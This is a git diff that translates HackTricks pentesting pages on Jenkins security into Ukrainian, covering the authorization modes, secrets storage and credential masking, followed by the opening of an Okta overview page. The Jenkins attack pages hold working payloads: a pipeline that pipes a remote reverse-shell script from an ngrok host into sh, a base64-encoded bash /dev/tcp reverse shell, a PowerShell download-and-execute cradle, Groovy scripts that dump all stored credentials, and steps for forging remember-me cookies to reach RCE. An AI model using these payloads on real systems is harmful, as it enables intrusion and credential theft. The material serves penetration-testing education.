`JSESSIONID.*`. (Користувач може завершити всі свої сесії, але спочатку йому потрібно дізнатися, що cookie було вкрадено). -### SSO/Plugins +### SSO/Плагіни -Jenkins can be configured using plugins to be **accessible via third party SSO**. +Jenkins можна налаштувати за допомогою плагінів, щоб він був **доступний через сторонній SSO**. -### Tokens +### Токени -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**Користувачі можуть генерувати токени**, щоб надати доступ до додатків для їх ідентифікації через CLI або REST API. -### SSH Keys +### SSH Ключі -This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/)) +Цей компонент надає вбудований SSH сервер для Jenkins. Це альтернативний інтерфейс для [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), і команди можуть бути викликані таким чином, використовуючи будь-який SSH клієнт. (З [документації](https://plugins.jenkins.io/sshd/)) -## Authorization +## Авторизація -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +У `/configureSecurity` можна **налаштувати метод авторизації Jenkins**. Є кілька варіантів: -- **Anyone can do anything**: Even anonymous access can administrate the server -- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access. -- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**. -- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**. +- **Будь-хто може робити що завгодно**: Навіть анонімний доступ може адмініструвати сервер. +- **Спадковий режим**: Те ж саме, що і Jenkins <1.164. Якщо у вас є **роль "admin"**, вам буде надано **повний контроль** над системою, а **в іншому випадку** (включаючи **анонімних** користувачів) ви матимете **доступ для читання**. +- **Увійшли користувачі можуть робити що завгодно**: У цьому режимі кожен **увійшовший користувач отримує повний контроль** над Jenkins. Єдиний користувач, який не матиме повного контролю, - це **анонімний користувач**, який отримує лише **доступ для читання**. +- **Матриця безпеки**: Ви можете налаштувати **хто може робити що** в таблиці. Кожен **стовпець** представляє **дозвіл**. Кожен **рядок** **представляє** **користувача або групу/роль.** Це включає спеціального користувача '**анонімний**', який представляє **неавтентифікованих користувачів**, а також '**автентифікований**', який представляє **всіх автентифікованих користувачів**. ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.** -- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`. +- **Стратегія авторизації на основі проекту:** Цей режим є **розширенням** до "**Матриці безпеки**", яке дозволяє визначити додаткову матрицю ACL для **кожного проекту окремо.** +- **Стратегія на основі ролей:** Дозволяє визначати авторизації за допомогою **стратегії на основі ролей**. Керуйте ролями у `/role-strategy`. -## **Security Realm** +## **Область безпеки** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +У `/configureSecurity` можна **налаштувати область безпеки.** За замовчуванням Jenkins включає підтримку кількох різних областей безпеки: -- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default. -- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups. -- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization. +- **Делегувати контейнеру сервлетів**: Для **делегування аутентифікації контейнеру сервлетів, що запускає контролер Jenkins**, наприклад, [Jetty](https://www.eclipse.org/jetty/). +- **Власна база даних користувачів Jenkins:** Використовуйте **вбудовану базу даних користувачів Jenkins** для аутентифікації замість делегування зовнішній системі. Це включено за замовчуванням. +- **LDAP**: Делегувати всю аутентифікацію до налаштованого LDAP сервера, включаючи як користувачів, так і групи. +- **База даних користувачів/груп Unix**: **Делегує аутентифікацію до бази даних користувачів на рівні Unix** на контролері Jenkins. Цей режим також дозволить повторно використовувати групи Unix для авторизації. -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +Плагіни можуть надавати додаткові області безпеки, які можуть бути корисними для інтеграції Jenkins в існуючі системи ідентифікації, такі як: - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Вузли, агенти та виконавці Jenkins -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +Визначення з [документації](https://www.jenkins.io/doc/book/managing/nodes/): -**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold. +**Вузли** - це **машини**, на яких працюють **агенти збірки**. Jenkins контролює кожен підключений вузол на наявність вільного місця на диску, вільного тимчасового місця, вільного обміну, часу/синхронізації годинника та часу відповіді. Вузол виводиться з експлуатації, якщо будь-яке з цих значень виходить за межі налаштованого порогу. -**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine. +**Агенти** **керують** **виконанням завдань** від імені контролера Jenkins, **використовуючи виконавців**. Агент може використовувати будь-яку операційну систему, яка підтримує Java. Інструменти, необхідні для збірок і тестів, встановлюються на вузлі, де працює агент; їх можна **встановити безпосередньо або в контейнері** (Docker або Kubernetes). Кожен **агент фактично є процесом зі своїм PID** на хост-машині. -An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time. +**Виконавець** - це **слот для виконання завдань**; фактично, це **потік в агенті**. **Кількість виконавців** на вузлі визначає кількість **паралельних завдань**, які можуть бути виконані на цьому вузлі одночасно. Іншими словами, це визначає **кількість паралельних Pipeline `стадій`**, які можуть виконуватися на цьому вузлі одночасно. -## Jenkins Secrets +## Секрети Jenkins -### Encryption of Secrets and Credentials +### Шифрування секретів і облікових даних -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +Визначення з [документації](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins використовує **AES для шифрування та захисту секретів**, облікових даних та їх відповідних ключів шифрування. Ці ключі шифрування зберігаються в `$JENKINS_HOME/secrets/` разом з майстер-ключем, що використовується для захисту зазначених ключів. Цю директорію слід налаштувати так, щоб лише користувач операційної системи, під яким працює контролер Jenkins, мав доступ на читання та запис до цієї директорії (тобто значення `chmod` повинно бути `0700` або використовувати відповідні атрибути файлів). **Майстер-ключ** (іноді називається "ключ шифрування" у криптографії) **зберігається \_незашифрованим\_** на файловій системі контролера Jenkins у **`$JENKINS_HOME/secrets/master.key`**, що не захищає від атакуючих з прямим доступом до цього файлу. Більшість користувачів і розробників використовуватимуть ці ключі шифрування непрямо через API [Secret](https://javadoc.jenkins.io/byShortName/Secret) для шифрування загальних секретних даних або через API облікових даних. Для криптоцікавих, Jenkins використовує AES в режимі шифрувального блоку з ланцюгуванням (CBC) з PKCS#5 заповненням і випадковими IV для шифрування екземплярів [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), які зберігаються в `$JENKINS_HOME/secrets/` з іменем файлу, що відповідає їх `CryptoConfidentialKey` id. Загальні ідентифікатори ключів включають: -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`: використовується для загальних секретів; +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: використовується для деяких типів облікових даних; +- `jenkins.model.Jenkins.crumbSalt`: використовується механізмом [захисту від CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); та -### Credentials Access +### Доступ до облікових даних -Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +Облікові дані можуть бути **обмежені глобальними постачальниками** (`/credentials/`), до яких може отримати доступ будь-який налаштований проект, або можуть бути обмежені **конкретними проектами** (`/job//configure`) і, отже, доступні лише з конкретного проекту. -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +Згідно з [**документацією**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Облікові дані, які знаходяться в межах, стають доступними для конвеєра без обмежень. Щоб **запобігти випадковому розкриттю в журналі збірки**, облікові дані **маскуються** від звичайного виводу, тому виклик `env` (Linux) або `set` (Windows), або програми, що друкують своє середовище або параметри, **не розкриють їх у журналі збірки** для користувачів, які інакше не мали б доступу до облікових даних. -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**Ось чому, щоб ексфільтрувати облікові дані, атакуючий повинен, наприклад, закодувати їх у base64.** -## References +## Посилання - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) @@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9d2b232e1..b29f0868c 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +У цьому блозі можна знайти чудовий спосіб перетворити вразливість Local File Inclusion у Jenkins на RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own: +Це підсумок, створений штучним інтелектом, частини посту, де зловживання створенням довільного cookie використовується для отримання RCE, зловживаючи читанням локальних файлів, поки у мене є час створити підсумок самостійно: ### Attack Prerequisites -- **Feature Requirement:** "Remember me" must be enabled (default setting). -- **Access Levels:** Attacker needs Overall/Read permissions. -- **Secret Access:** Ability to read both binary and textual content from key files. +- **Feature Requirement:** "Remember me" має бути увімкнено (налаштування за замовчуванням). +- **Access Levels:** Зловмисник потребує загальних/читальних дозволів. +- **Secret Access:** Можливість читати як бінарний, так і текстовий вміст з ключових файлів. ### Detailed Exploitation Process @@ -18,18 +18,18 @@ This is an AI created summary of the part of the post were the creaft of an arbi **User Information Retrieval** -- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather: - - **Username** - - **User seed** - - **Timestamp** - - **Password hash** +- Отримати конфігурацію користувача та секрети з `$JENKINS_HOME/users/*.xml` для кожного користувача, щоб зібрати: +- **Username** +- **User seed** +- **Timestamp** +- **Password hash** **Secret Key Extraction** -- Extract cryptographic keys used for signing the cookie: - - **Secret Key:** `$JENKINS_HOME/secret.key` - - **Master Key:** `$JENKINS_HOME/secrets/master.key` - - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- Витягти криптографічні ключі, що використовуються для підписання cookie: +- **Secret Key:** `$JENKINS_HOME/secret.key` +- **Master Key:** `$JENKINS_HOME/secrets/master.key` +- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` #### Step 2: Cookie Forging @@ -37,73 +37,69 @@ This is an AI created summary of the part of the post were the creaft of an arbi - **Calculate Token Expiry Time:** - ```javascript - tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time - ``` +```javascript +tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Додає одну годину до поточного часу +``` - **Concatenate Data for Token:** - ```javascript - token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - ``` +```javascript +token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey +``` **MAC Key Decryption** - **Decrypt MAC Key File:** - ```javascript - key = toAes128Key(masterKey) // Convert master key to AES128 key format - decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file - if not decrypted.hasSuffix("::::MAGIC::::") - return ERROR; - macKey = decrypted.withoutSuffix("::::MAGIC::::") - ``` +```javascript +key = toAes128Key(masterKey) // Перетворити майстер-ключ у формат ключа AES128 +decrypted = AES.decrypt(macFile, key) // Розшифрувати .mac файл +if not decrypted.hasSuffix("::::MAGIC::::") +return ERROR; +macKey = decrypted.withoutSuffix("::::MAGIC::::") +``` **Signature Computation** - **Compute HMAC SHA256:** - ```javascript - mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key - tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string - ``` +```javascript +mac = HmacSHA256(token, macKey) // Обчислити HMAC, використовуючи токен і MAC-ключ +tokenSignature = bytesToHexString(mac) // Перетворити MAC у шістнадцятковий рядок +``` **Cookie Encoding** - **Generate Final Cookie:** - ```javascript - cookie = base64.encode( - username + ":" + tokenExpiryTime + ":" + tokenSignature - ) // Base64 encode the cookie data - ``` +```javascript +cookie = base64.encode( +username + ":" + tokenExpiryTime + ":" + tokenSignature +) // Base64 кодувати дані cookie +``` #### Step 3: Code Execution **Session Authentication** - **Fetch CSRF and Session Tokens:** - - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`. - - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie. +- Зробити запит до `/crumbIssuer/api/json`, щоб отримати `Jenkins-Crumb`. +- Захопити `JSESSIONID` з відповіді, який буде використано разом з cookie "remember-me". **Command Execution Request** - **Send a POST Request with Groovy Script:** - ```bash - curl -X POST "$JENKINS_URL/scriptText" \ - --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ - --header "Jenkins-Crumb: $CRUMB" \ - --header "Content-Type: application/x-www-form-urlencoded" \ - --data-urlencode "script=$SCRIPT" - ``` +```bash +curl -X POST "$JENKINS_URL/scriptText" \ +--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ +--header "Jenkins-Crumb: $CRUMB" \ +--header "Content-Type: application/x-www-form-urlencoded" \ +--data-urlencode "script=$SCRIPT" +``` - - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment. +- Groovy скрипт може бути використаний для виконання команд на рівні системи або інших операцій у середовищі Jenkins. -The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely. +Приклад команди curl демонструє, як зробити запит до Jenkins з необхідними заголовками та cookie для безпечного виконання довільного коду. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 8699b8159..3aa290e75 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,10 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -You can **dump all the secrets from the Groovy Script console** in `/script` running this code +> Зверніть увагу, що ці скрипти лише перерахують секрети всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **додаткові облікові дані**. +Ви можете **вивантажити всі секрети з консолі Groovy Script** в `/script`, запустивши цей код ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '') return ``` - -#### or this one: - +#### або цей: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( - com.cloudbees.plugins.credentials.Credentials.class +com.cloudbees.plugins.credentials.Credentials.class ) for (c in creds) { - println(c.id) - if (c.properties.description) { - println(" description: " + c.description) - } - if (c.properties.username) { - println(" username: " + c.username) - } - if (c.properties.password) { - println(" password: " + c.password) - } - if (c.properties.passphrase) { - println(" passphrase: " + c.passphrase) - } - if (c.properties.secret) { - println(" secret: " + c.secret) - } - if (c.properties.secretBytes) { - println(" secretBytes: ") - println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) - println("") - } - if (c.properties.privateKeySource) { - println(" privateKey: " + c.getPrivateKey()) - } - if (c.properties.apiToken) { - println(" apiToken: " + c.apiToken) - } - if (c.properties.token) { - println(" token: " + c.token) - } - println("") +println(c.id) +if (c.properties.description) { +println(" description: " + c.description) +} +if (c.properties.username) { +println(" username: " + c.username) +} +if (c.properties.password) { +println(" password: " + c.password) +} +if (c.properties.passphrase) { +println(" passphrase: " + c.passphrase) +} +if (c.properties.secret) { +println(" secret: " + c.secret) +} +if (c.properties.secretBytes) { +println(" secretBytes: ") +println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) +println("") +} +if (c.properties.privateKeySource) { +println(" privateKey: " + c.getPrivateKey()) +} +if (c.properties.apiToken) { +println(" apiToken: " + c.apiToken) +} +if (c.properties.token) { +println(" token: " + c.token) +} +println("") } ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 89ca15223..c234da357 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -2,42 +2,36 @@ {{#include ../../banners/hacktricks-training.md}} -## Creating a new Pipeline +## Створення нового Pipeline -In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:** +У "New Item" (доступно за адресою `/view/all/newJob`) виберіть **Pipeline:** ![](<../../images/image (235).png>) -In the **Pipeline section** write the **reverse shell**: +У **Pipeline section** напишіть **reverse shell**: ![](<../../images/image (285).png>) - ```groovy pipeline { - agent any +agent any - stages { - stage('Hello') { - steps { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh - ''' - } - } - } +stages { +stage('Hello') { +steps { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh +''' +} +} +} } ``` - -Finally click on **Save**, and **Build Now** and the pipeline will be executed: +Нарешті натисніть **Save**, а потім **Build Now**, і конвеєр буде виконано: ![](<../../images/image (228).png>) -## Modifying a Pipeline +## Модифікація конвеєра -If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed. +Якщо ви можете отримати доступ до файлу конфігурації деякого налаштованого конвеєра, ви можете просто **модифікувати його, додавши ваш реверсний шелл**, а потім виконати його або дочекатися, поки його виконають. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f16096070..e13d212ce 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -4,37 +4,33 @@ ## Creating a Project -This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). +Цей метод дуже шумний, оскільки вам потрібно створити абсолютно новий проект (очевидно, це спрацює лише в тому випадку, якщо ваш користувач має право створювати новий проект). -1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob` -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ -3. Click **Build now** - 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *` - 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`** +1. **Створіть новий проект** (Freestyle project), натиснувши "New Item" або в `/view/all/newJob` +2. У розділі **Build** встановіть **Execute shell** і вставте запускник powershell Empire або meterpreter powershell (можна отримати за допомогою _unicorn_). Запустіть payload з _PowerShell.exe_, а не з _powershell._ +3. Натисніть **Build now** +1. Якщо кнопка **Build now** не з'являється, ви все ще можете перейти до **configure** --> **Build Triggers** --> `Build periodically` і встановити cron на `* * * * *` +2. Замість використання cron, ви можете використовувати конфігурацію "**Trigger builds remotely**", де вам просто потрібно встановити ім'я токена API для запуску роботи. Потім перейдіть до свого профілю користувача і **згенеруйте токен API** (назвіть цей токен API так, як ви назвали токен API для запуску роботи). Нарешті, запустіть роботу з: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) ## Modifying a Project -Go to the projects and check **if you can configure any** of them (look for the "Configure button"): +Перейдіть до проектів і перевірте **чи можете ви налаштувати будь-який** з них (шукайте кнопку "Configure"): ![](<../../images/image (265).png>) -If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others). +Якщо ви **не можете** побачити жодної **кнопки конфігурації**, то ви **не можете** **налаштувати** його, ймовірно (але перевірте всі проекти, оскільки ви можете налаштувати деякі з них, а не інші). -Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`). +Або **спробуйте отримати доступ до шляху** `/job//configure` або `/me/my-views/view/all/job//configure` \_\_ в кожному проекті (приклад: `/job/Project0/configure` або `/me/my-views/view/all/job/Project0/configure`). ## Execution -If you are allowed to configure the project you can **make it execute commands when a build is successful**: +Якщо вам дозволено налаштувати проект, ви можете **зробити так, щоб він виконував команди, коли збірка успішна**: ![](<../../images/image (98).png>) -Click on **Save** and **build** the project and your **command will be executed**.\ -If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. +Натисніть **Save** і **build** проект, і ваша **команда буде виконана**.\ +Якщо ви не виконуєте зворотний shell, а просто команду, ви можете **побачити вихід команди всередині виходу збірки**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 33821cc03..3d10ba569 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,24 +4,21 @@ ## Jenkins RCE with Groovy Script -This is less noisy than creating a new project in Jenkins - -1. Go to _path_jenkins/script_ -2. Inside the text box introduce the script +Це менш шумно, ніж створення нового проекту в Jenkins +1. Перейдіть до _path_jenkins/script_ +2. Введіть скрипт у текстове поле ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` +Ви можете виконати команду, використовуючи: `cmd.exe /c dir` -You could execute a command using: `cmd.exe /c dir` +В **linux** ви можете зробити: **`"ls /".execute().text`** -In **linux** you can do: **`"ls /".execute().text`** - -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. - -**Another useful groovy script** is (replace \[INSERT COMMAND]): +Якщо вам потрібно використовувати _цитати_ та _одинарні цитати_ всередині тексту, ви можете використовувати _"""PAYLOAD"""_ (три подвійні лапки) для виконання корисного коду. +**Ще один корисний groovy скрипт** це (замініть \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` - -### Reverse shell in linux - +### Зворотний шелл у Linux ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` +### Зворотний шелл у Windows -### Reverse shell in windows - -You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: - +Ви можете підготувати HTTP сервер з PS зворотним шеллом і використовувати Jeking для його завантаження та виконання: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` - ### Script -You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). - -You can use MSF to get a reverse shell: +Ви можете автоматизувати цей процес за допомогою [**цього скрипта**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). +Ви можете використовувати MSF для отримання зворотного шеллу: ``` msf> use exploit/multi/http/jenkins_script_console ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e682996c2..7a233cf5f 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,103 +4,103 @@ ## Basic Information -[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices. +[Okta, Inc.](https://www.okta.com/) визнана в секторі управління ідентичністю та доступом за свої рішення програмного забезпечення на основі хмари. Ці рішення призначені для спрощення та забезпечення аутентифікації користувачів у різних сучасних додатках. Вони орієнтовані не лише на компанії, які прагнуть захистити свої чутливі дані, але й на розробників, які зацікавлені в інтеграції контролю ідентичності в додатки, веб-сервіси та пристрої. -The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to: +Флагманською пропозицією від Okta є **Okta Identity Cloud**. Ця платформа охоплює набір продуктів, включаючи, але не обмежуючись: -- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications. -- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification. -- **Lifecycle Management**: Automates user account creation, update, and deactivation processes. -- **Universal Directory**: Enables centralized management of users, groups, and devices. -- **API Access Management**: Secures and manages access to APIs. +- **Single Sign-On (SSO)**: Спрощує доступ користувачів, дозволяючи використовувати один набір облікових даних для кількох додатків. +- **Multi-Factor Authentication (MFA)**: Підвищує безпеку, вимагаючи кілька форм перевірки. +- **Lifecycle Management**: Автоматизує процеси створення, оновлення та деактивації облікових записів користувачів. +- **Universal Directory**: Дозволяє централізоване управління користувачами, групами та пристроями. +- **API Access Management**: Захищає та управляє доступом до API. -These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena. +Ці послуги колективно спрямовані на зміцнення захисту даних та спрощення доступу користувачів, підвищуючи як безпеку, так і зручність. Універсальність рішень Okta робить їх популярним вибором у різних галузях, корисним для великих підприємств, 